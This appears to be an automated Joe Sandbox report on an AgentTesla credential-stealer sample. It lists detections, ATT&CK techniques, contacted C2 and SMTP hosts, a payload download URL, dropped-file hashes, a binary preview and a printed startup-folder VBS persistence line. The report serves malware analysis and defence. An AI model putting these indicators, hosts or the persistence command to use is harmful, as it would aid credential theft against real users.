Source: Yara match	File source: 00000000.00000002.1449250723.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1675252240.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1669938478.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1449250723.0000000004155000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2428186075.00000000031BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 2964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pdf.exe PID: 7948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 872, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.pdf.exe.3db85e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.pdf.exe.3db85e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2428186075.00000000031FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1738552650.0000000003DA3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1675252240.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1449250723.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1675252240.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1669938478.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1449250723.0000000004155000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2428186075.00000000031BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 2964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pdf.exe PID: 7948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 872, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	121 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	211 Process Injection	11 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Obfuscated Files or Information	1 Credentials in Registry	311 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	44%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\pdf.exe	44%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label	Link
http://196.251.83.222/win32/panel/uploads/Sndab.vdfKhNMWDfYMHH2muGPrJ4.n2acBlZa1K46k6h5vNG	0%	Avira URL Cloud	safe
http://196.251.83.222/win32/panel/uploads/Sndab.vdf	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.iaa-airferight.com	46.175.148.58	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://196.251.83.222/win32/panel/uploads/Sndab.vdf	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 0000000B.00000002.1362165458.000000000630B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1439970694.0000000002FA6000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1724440064.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.dyn.com/	SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.0000000004155000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.1669938478.0000000000402000.00000040.00000400.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003DA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.1359455788.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000B.00000002.1359455788.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 0000000B.00000002.1359455788.00000000052A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://196.251.83.222/win32/panel/uploads/Sndab.vdfKhNMWDfYMHH2muGPrJ4.n2acBlZa1K46k6h5vNG	SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.1359455788.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.iaa-airferight.com	InstallUtil.exe, 0000000E.00000002.1675252240.0000000002E06000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000017.00000002.2428186075.0000000003206000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000B.00000002.1359455788.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000B.00000002.1362165458.000000000630B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000B.00000002.1362165458.000000000630B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000B.00000002.1362165458.000000000630B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000B.00000002.1362165458.000000000630B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1439970694.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1359455788.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1724440064.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.1359455788.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://196.251.83.222	SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1439970694.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1724440064.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
46.175.148.58	mail.iaa-airferight.com	Ukraine		56394	ASLAGIDKOM-NETUA	false
196.251.83.222	unknown	Seychelles		37417	SONIC-WirelessZA	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1640277
Start date and time:	2025-03-17 03:22:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@32/8@1/2
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 87% Number of executed functions: 316 Number of non-executed functions: 18
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.60.203.209, 20.109.210.53
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, PID 7460 because it is empty
Execution Graph export aborted for target pdf.exe, PID 7948 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4804 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:23:33	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs
22:23:26	API Interceptor	13x Sleep call for process: powershell.exe modified
22:23:31	API Interceptor	360x Sleep call for process: InstallUtil.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.175.148.58	SOA - HUAFENG (JAN INVOICE OVERDUE).exe	Get hash	malicious	AgentTesla	Browse
	payment confirmation.exe	Get hash	malicious	AgentTesla	Browse
	purchase order T&B19-20PO128.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Get hash	malicious	AgentTesla	Browse
	T&S-WAN FUNG GMT FTY LTD (CW0007)-Statement as at 28 Feb 2025.exe	Get hash	malicious	AgentTesla	Browse
	Global e-Banking Payment Advice 000000164.exe	Get hash	malicious	AgentTesla	Browse
	Wire Remittance Detail.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.29823.5189.exe	Get hash	malicious	AgentTesla	Browse
	pbgjw8i8N7.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	G3uJOLisBq.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
196.251.83.222	payment confirmation.exe	Get hash	malicious	AgentTesla	Browse	196.251.83.222/win32/panel/uploads/Zzejzk.dat
	purchase order T&B19-20PO128.exe	Get hash	malicious	AgentTesla	Browse	196.251.83.222/win32/panel/uploads/Xqmvapt.wav
	SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Get hash	malicious	AgentTesla	Browse	196.251.83.222/win32/panel/uploads/Snscs.dat
	Global e-Banking Payment Advice 000000164.exe	Get hash	malicious	AgentTesla	Browse	196.251.83.222/win32/panel/uploads/Yivwjvmthxz.vdf
	P.Order request for quotations.exe	Get hash	malicious	FormBook	Browse	196.251.83.222/win32/panel/uploads/Gdugwwjztt.pdf
	PAYMENT COPY.exe	Get hash	malicious	FormBook	Browse	196.251.83.222/win32/panel/uploads/Rymwg.wav
	SecuriteInfo.com.Win32.CrypterX-gen.29823.5189.exe	Get hash	malicious	AgentTesla	Browse	196.251.83.222/win32/panel/uploads/Ygjeuyjzlk.dat
	wpo28029 Changzhou Tairun.exe	Get hash	malicious	AgentTesla	Browse	196.251.83.222/win32/panel/uploads/Tcgoaq.mp3
	SecuriteInfo.com.Win32.CrypterX-gen.27605.29739.exe	Get hash	malicious	AgentTesla	Browse	196.251.83.222/win32/panel/uploads/Frxwibj.mp4
	PO 352995.exe	Get hash	malicious	AgentTesla	Browse	196.251.83.222/win32/panel/uploads/Ooievvpetbc.wav

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.iaa-airferight.com	SOA - HUAFENG (JAN INVOICE OVERDUE).exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	payment confirmation.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	purchase order T&B19-20PO128.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	T&S-WAN FUNG GMT FTY LTD (CW0007)-Statement as at 28 Feb 2025.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Global e-Banking Payment Advice 000000164.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Wire Remittance Detail.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	SecuriteInfo.com.Win32.CrypterX-gen.29823.5189.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	pbgjw8i8N7.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	46.175.148.58
	G3uJOLisBq.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	46.175.148.58

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASLAGIDKOM-NETUA	SOA - HUAFENG (JAN INVOICE OVERDUE).exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	payment confirmation.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	purchase order T&B19-20PO128.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	T&S-WAN FUNG GMT FTY LTD (CW0007)-Statement as at 28 Feb 2025.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Global e-Banking Payment Advice 000000164.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Wire Remittance Detail.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	SecuriteInfo.com.Win32.CrypterX-gen.29823.5189.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	pbgjw8i8N7.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	46.175.148.58
	G3uJOLisBq.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	46.175.148.58
SONIC-WirelessZA	w0O5VyHFXh.exe	Get hash	malicious	DanaBot	Browse	196.251.86.102
	zsd5jgZ9LU.exe	Get hash	malicious	DanaBot	Browse	196.251.86.102
	w0O5VyHFXh.exe	Get hash	malicious	DanaBot	Browse	196.251.86.102
	rkak.ps1	Get hash	malicious	XWorm	Browse	196.251.83.219
	dwdpay3.bin.exe	Get hash	malicious	XWorm	Browse	196.251.83.219
	6732832.js	Get hash	malicious	Remcos, DBatLoader	Browse	196.251.83.79
	hgfs.mips.elf	Get hash	malicious	Unknown	Browse	196.251.81.246
	hgfs.arm5.elf	Get hash	malicious	Unknown	Browse	196.251.81.246
	hgfs.mpsl.elf	Get hash	malicious	Unknown	Browse	196.251.81.246
	hgfs.x86.elf	Get hash	malicious	Unknown	Browse	196.251.81.246

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2240
Entropy (8bit):	5.37934760551302
Encrypted:	false
SSDEEP:	48:zWSU4xymI4RfoUeW+gZ9tK8NPP8xL7u1iMuge//ZmUyuE:zLHxvIIwLgZ2KHuLOuggE
MD5:	B4F5E38F7F9DFF671D8199DA61E269CF
SHA1:	F9A7D4CE67F0044B699901BEFB7CE9F708030E3D
SHA-256:	98A6485E4258412C7DF99FECC6F92AF909215C4071F49142E4EAADACBAC6D365
SHA-512:	F7ADCED58F85AC599F2BCE7A8D307A2CE26B8811DAFB8A210A0C9F0C4766CFDF79A11D564D4A6BBFC90EF9D5DBB2060990DB94859F8E91D0AEC3D22057203B1B
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_enjrdy5x.wl1.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kwf2rzgv.pum.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lw3htrsb.r0f.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tmt0o3yd.iji.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	78
Entropy (8bit):	4.7645151613867265
Encrypted:	false
SSDEEP:	3:FER/n0eFHHot+kiEaKC5XL1n:FER/lFHIwknaZ5b1
MD5:	F6BC3E21F94AE03D3B05391131183F51
SHA1:	F2F9E27C00243221F1C8CD06A519D585BB300587
SHA-256:	1920A3E0089B56D719FF1D5A252DCC2FB19CD11A120675A8686D169922CCD531
SHA-512:	5B1A08BDFC6E0459E34145BC39D58C2BE73A88B979983E88D6202539F384580ADBD72322FD8C95D15ACEA995D2D5B314AD29F5ECBF06645066D923FE4ED6AAD8
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\pdf.exe"""

C:\Users\user\AppData\Roaming\pdf.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	197744
Entropy (8bit):	5.465314202932243
Encrypted:	false
SSDEEP:	1536:xc54chTARGqevS6jBxZgRUos991gIx6eAnzIwcRUnbTbAVsAyJ:xc53h6lOS6jDZgRzs991gIKTbn
MD5:	B5C6EB2FECA156E403440F4FAF478A49
SHA1:	CB75E98EFFD3FD29AFDCEAF62DA673B9F22B9AE7
SHA-256:	B96767C466FD2ECF582A34EDB8FA2250EE42AAD6DC3274085216C5FC27DC0B0D
SHA-512:	840D0D5B40E639A49A592F5BFFD39F2379668CF5C887C4CA609B6D8CEAB7DE8123A4E125287327192267B7949C4143AFB29A50864DC1CDC0BD5EE6AF59A1EA84
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 44%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....l.g...........................nH... ...`....@.. .......................@............`..................................H..S....`.................p&... ....................................................... ............... ..H............text...t(... ..................... ..`.rsrc.......`.......,..............@..@.reloc....... ......................@..B................PH......H........'..l ...........................................................s....(....V(....o....(....(......(.....~.....s.........:.:.....s....z.(......(.....~....(....9....r...p.(.....s....z.(......(.....r...p(....9....r...p.(.....s....z2......(...+2......(...+....!.....7..s ...!..6.u(.+s ...(...+..{0.....{1...rr...p.(;....(<........(#....s=..../.....(....&...(>..."..(?...&...(@...6.\|.....(J...6.\|.....(J....s$........F.oN...r...p(.....sO.......*Z.oP....

C:\Users\user\AppData\Roaming\pdf.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.465314202932243
